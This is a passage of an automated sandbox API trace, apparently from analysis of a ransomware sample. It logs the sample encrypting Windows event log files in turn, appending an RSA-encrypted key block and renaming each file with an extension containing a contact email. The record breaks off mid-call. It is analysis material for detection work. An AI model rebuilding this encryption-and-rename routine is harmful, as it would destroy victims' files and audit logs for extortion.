[0122.307] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ec80 [0122.307] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb98 [0122.307] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0122.307] SetFileAttributesW (lpFileName="\\Logs\\System.evtx", dwFileAttributes=0x80) returned 1 [0122.425] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ed28 [0122.425] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5d0190 [0122.425] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ed28 | out: hHeap=0x570000) returned 1 [0122.425] CreateFileW (lpFileName="\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0122.425] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1118208) returned 1 [0122.425] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x111000) returned 0x3144020 [0122.426] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x111000) returned 0x326a020 [0122.426] ReadFile (in: hFile=0x460, lpBuffer=0x3144020, nNumberOfBytesToRead=0x111000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3144020*, lpNumberOfBytesRead=0x2e3f9b4*=0x111000, lpOverlapped=0x0) returned 1 [0122.546] SetFilePointer (in: hFile=0x460, lDistanceToMove=-1118208, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0122.546] WriteFile (in: hFile=0x460, lpBuffer=0x326a020*, nNumberOfBytesToWrite=0x111000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x326a020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x111000, lpOverlapped=0x0) returned 1 [0122.552] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3144020 | out: hHeap=0x570000) returned 1 [0122.552] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x326a020 | out: hHeap=0x570000) returned 1 [0122.553] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x111000 [0122.553] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0122.553] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0122.553] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0122.553] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0122.553] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0122.553] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5d1808 [0122.553] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5d1808, pcchString=0x2e3f9a8 | out: pszString="KGw2Nk6XxLgBf3ZyPYFW3/Y8LOUt2fTtqR5DmI9w2nvUU1fPMvz7flRo2Ctv3yrL\nYVR6mQ/znrPYMOoF9A+mIIiMcKq2rZVZdvyIG1KWITslj3Gq/9a5R7WJt5zEItjA\nlBSvouZXm2fjT8+BrIU7LGFie5USh2+CBpzq2A0TsjaqmxvZQHlNWWiC44p0Inju\nOnyzNyt/1WA1Sv6TijeBO/Il7OC4G+xtFXGMIgbl+LZNw7VrvQObja6oswLhFtoj\n7yGRISGdfmQso3VQlY4T3G/TlrjlRbeb5d683TbW5LCh0AGadR3BCqikPZjDylUI\nH839HI4bg5E8n9zJqfG+Yg==\n", pcchString=0x2e3f9a8) returned 1 [0122.553] WriteFile (in: hFile=0x460, lpBuffer=0x5d1808*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d1808*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0122.553] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0122.553] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0122.554] CloseHandle (hObject=0x460) returned 1 [0122.595] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d1808 | out: hHeap=0x570000) returned 1 [0122.595] MoveFileExW (lpExistingFileName="\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx"), lpNewFileName="\\Logs\\System.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\system.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0122.597] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0190 | out: hHeap=0x570000) returned 1 [0122.597] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb98 | out: hHeap=0x570000) returned 1 [0122.597] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ec80 | out: hHeap=0x570000) returned 1 [0122.597] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ecf0 | out: hHeap=0x570000) returned 1 [0122.597] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eeb0 [0122.597] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca58 [0122.597] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0122.597] SetFileAttributesW (lpFileName="\\Logs\\Setup.evtx", dwFileAttributes=0x80) returned 1 [0122.598] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eaf8 [0122.598] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5d06b8 [0122.599] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eaf8 | out: hHeap=0x570000) returned 1 [0122.599] CreateFileW (lpFileName="\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0122.599] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0122.599] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d1808 [0122.599] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e2810 [0122.599] ReadFile (in: hFile=0x460, lpBuffer=0x5d1808, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d1808*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0122.621] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0122.621] WriteFile (in: hFile=0x460, lpBuffer=0x5e2810*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e2810*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0122.621] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d1808 | out: hHeap=0x570000) returned 1 [0122.621] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e2810 | out: hHeap=0x570000) returned 1 [0122.622] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0122.623] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0122.623] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0122.623] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0122.623] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0122.624] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0122.624] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5d1808 [0122.624] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5d1808, pcchString=0x2e3f9a8 | out: pszString="tAOXojhm3cqQlfj3I/BiGw/34OcyEoW65M7+bIzwHS7jVRE9rQZWwZBTShG199W8\nkIsSmFxStQ5PYnouLo6h36CkosI09yN40GhOYoP6xf2eHFEkYGaVkmit47bpMGrW\nNPHa3K4fy3+OOTcIVmlK6Bd6yFt0ewfTwzN4QAzjPyDinlBcZVtX6SG0rZhbqukG\ntSbRv30h5THOzKE71UF9dtHYiwuS982F0E4PRsTEIvAPs7tyHGLxLioOZGzdGVdy\ng3CNRc7sMbPK23ZJ300+hYy61agxY5G+9LWt1C/CS+w6EbZb9mL0M2SlLeMFSaid\n/xpF+fau08EbzucSRor4SQ==\n", pcchString=0x2e3f9a8) returned 1 [0122.624] WriteFile (in: hFile=0x460, lpBuffer=0x5d1808*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d1808*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0122.624] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0122.624] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0122.624] CloseHandle (hObject=0x460) returned 1 [0122.626] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d1808 | out: hHeap=0x570000) returned 1 [0122.626] MoveFileExW (lpExistingFileName="\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx"), lpNewFileName="\\Logs\\Setup.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\setup.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0122.627] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d06b8 | out: hHeap=0x570000) returned 1 [0122.627] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca58 | out: hHeap=0x570000) returned 1 [0122.627] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eeb0 | out: hHeap=0x570000) returned 1 [0122.627] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e900 | out: hHeap=0x570000) returned 1 [0122.627] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eeb0 [0122.627] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0122.627] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0122.627] SetFileAttributesW (lpFileName="\\Logs\\Security.evtx", dwFileAttributes=0x80) returned 1 [0122.628] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eb30 [0122.628] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0122.628] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eb30 | out: hHeap=0x570000) returned 1 [0122.628] CreateFileW (lpFileName="\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0122.628] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1118208) returned 1 [0122.628] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x111000) returned 0x314a020 [0122.628] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x111000) returned 0x326b020 [0122.629] ReadFile (in: hFile=0x460, lpBuffer=0x314a020, nNumberOfBytesToRead=0x111000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x314a020*, lpNumberOfBytesRead=0x2e3f9b4*=0x111000, lpOverlapped=0x0) returned 1 [0122.738] SetFilePointer (in: hFile=0x460, lDistanceToMove=-1118208, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0122.738] WriteFile (in: hFile=0x460, lpBuffer=0x326b020*, nNumberOfBytesToWrite=0x111000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x326b020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x111000, lpOverlapped=0x0) returned 1 [0122.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x314a020 | out: hHeap=0x570000) returned 1 [0122.743] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x326b020 | out: hHeap=0x570000) returned 1 [0122.743] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x111000 [0122.743] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0122.743] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0122.743] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0122.743] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0122.743] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0122.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5d1808 [0122.744] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5d1808, pcchString=0x2e3f9a8 | out: pszString="dlsOHD68r0VNBszUpPzRH+fF+892WEV2hm0xYaQQ+hdVziO2vY2qsOzdCX9Bpl6v\nzzLykSnYD9ksam06frAeDPkccJiYR6y/caGZeJ2jBWxABlWSM8aGaGhTufb/6YpO\nZq9Zawb12mhrBx5iQ4s6Mv6lncSvq8mivJ56YJCQmoY5e+2g1vgDqivICIQ68p9B\nwPTFeAtGa4lT651kJmuMYZz5hmwUYslo8DdesMIOUkZwdKrrrNJdi4cSMFbw1z0C\nvYldgcZNpW/bjxYhXonC+3ur+QhWLGMdWPKUDo8oUHr3R6lWzZ0S2l88p9necUYH\n/Wpc9bW4H22n8h4RaAsIJA==\n", pcchString=0x2e3f9a8) returned 1 [0122.744] WriteFile (in: hFile=0x460, lpBuffer=0x5d1808*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d1808*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0122.744] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0122.744] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0122.744] CloseHandle (hObject=0x460) returned 1 [0122.759] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d1808 | out: hHeap=0x570000) returned 1 [0122.759] MoveFileExW (lpExistingFileName="\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx"), lpNewFileName="\\Logs\\Security.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\security.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0122.760] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0122.760] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc828 | out: hHeap=0x570000) returned 1 [0122.760] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eeb0 | out: hHeap=0x570000) returned 1 [0122.760] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eac0 | out: hHeap=0x570000) returned 1 [0122.760] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5d0a00 [0122.761] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca58 [0122.761] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0122.761] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0122.761] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5d0a78 [0122.761] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2e40f20 [0122.761] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0a78 | out: hHeap=0x570000) returned 1 [0122.761] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0122.761] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1052672) returned 1 [0122.761] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x101000) returned 0x314d020 [0122.762] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x101000) returned 0x325e020 [0122.762] ReadFile (in: hFile=0x460, lpBuffer=0x314d020, nNumberOfBytesToRead=0x101000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x314d020*, lpNumberOfBytesRead=0x2e3f9b4*=0x101000, lpOverlapped=0x0) returned 1 [0122.996] SetFilePointer (in: hFile=0x460, lDistanceToMove=-1052672, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0122.996] WriteFile (in: hFile=0x460, lpBuffer=0x325e020*, nNumberOfBytesToWrite=0x101000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x325e020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x101000, lpOverlapped=0x0) returned 1 [0123.005] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x314d020 | out: hHeap=0x570000) returned 1 [0123.006] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x325e020 | out: hHeap=0x570000) returned 1 [0123.006] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x101000 [0123.006] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0123.006] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0123.006] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0123.006] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0123.007] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0123.007] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5d3810 [0123.007] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5d3810, pcchString=0x2e3f9a8 | out: pszString="mMtYpGNOQNW3g8TgUdB2pzmbbbXWhyIUofG3Z24GkfyRWuoSbvVo8BANonAi5Zxc\nL3t9mcmc3Iv8xotfeCR7lAjIjfd9gzorpud5N50gdar1OcAmFMcFaiwWB47wc2h2\nY61gAHbIWs7M5Id+yp7FEl4uSbc0ynwOi5xfEKbSMcS7dHLDgCXJVvcqCCWjm31T\nRLK4lKT+ZibH7MXUGH0/5iGXLi9pA5E6HNqGM1IGMSoezQG2CzXKDk3HHEOUaPPn\n42Yr8JTxOzH5kZIqa8UlRHt2NccqtzceSG8YQ9FEHlb05dXjXmf/BnGiJRIzWoxF\nKRL1IWqxly80ufSzsPISRw==\n", pcchString=0x2e3f9a8) returned 1 [0123.007] WriteFile (in: hFile=0x460, lpBuffer=0x5d3810*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0123.007] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0123.007] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0123.007] CloseHandle (hObject=0x460) returned 1 [0123.022] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0123.022] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0123.026] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0123.026] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca58 | out: hHeap=0x570000) returned 1 [0123.026] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0a00 | out: hHeap=0x570000) returned 1 [0123.026] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0550 | out: hHeap=0x570000) returned 1 [0123.026] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5d03e8 [0123.026] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca58 [0123.026] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0123.026] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0123.027] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5d07a8 [0123.027] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2e40f20 [0123.027] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d07a8 | out: hHeap=0x570000) returned 1 [0123.027] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0123.027] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0123.027] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0123.027] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0123.027] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0123.038] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0123.038] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0123.038] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0123.039] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0123.041] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0123.041] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0123.041] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, 